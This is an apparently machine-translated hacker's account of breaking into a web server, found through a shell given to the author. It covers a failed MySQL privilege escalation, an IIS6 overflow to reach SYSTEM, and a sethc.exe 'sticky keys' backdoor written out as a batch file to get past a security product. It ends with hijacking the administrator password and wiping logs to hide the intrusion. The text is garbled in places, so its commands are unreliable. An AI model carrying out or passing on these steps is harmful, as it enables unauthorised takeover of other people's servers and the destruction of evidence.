Server Security Dog Privilege Escalation sethc Backdoor

By: Permanent

Qq: 97245325

Today, a friend gave me a shell.

Mysql privilege escalation is required. MYSQL version: 5.1.57-

More than 5.0 of them can be executed in the mysql directory.

F:/ZkeysSoft/MySql/MySQL Server 5.1/lib/plugin/cannot create a directory. Therefore, the mysql permission escalation method cannot be successful. Maybe some Daniel can.

Open shell

 

Build is supported. Hopefully.

 

Not supported. Aspx.

Upload cmd to F: recycler.exe

 

 

Yes. So let's take a look at the overflow.

I like iis6

 

The system permission is displayed.

Let's add an account.

Failed to add,

What is it?

It can be seen that it is a safe dog. Dongle. There are tutorials on the Internet. Use sethc.exe as the backdoor.

@ Echo off

Del/q export systemroot1_system32dllcachesethc.exe

Del/q export systemroot1_system32sethc.exe

Copy your systemroot‑policer.exe‑systemroot‑system32sethc.exe

Copy your systemroot‑policer.exe ‑systemroot‑system32dllcachesethc.exe

Keep as 1.bat

 

Execution successful.

Check the connection.

 

But I cannot log on to the desktop. It is always impossible to add guest to the administrators group.

Brother is angry. The consequences are serious. Change the administrator password of administator.

 

Successfully entered. Eight servers. Clear backdoors. Clear the diary. And leave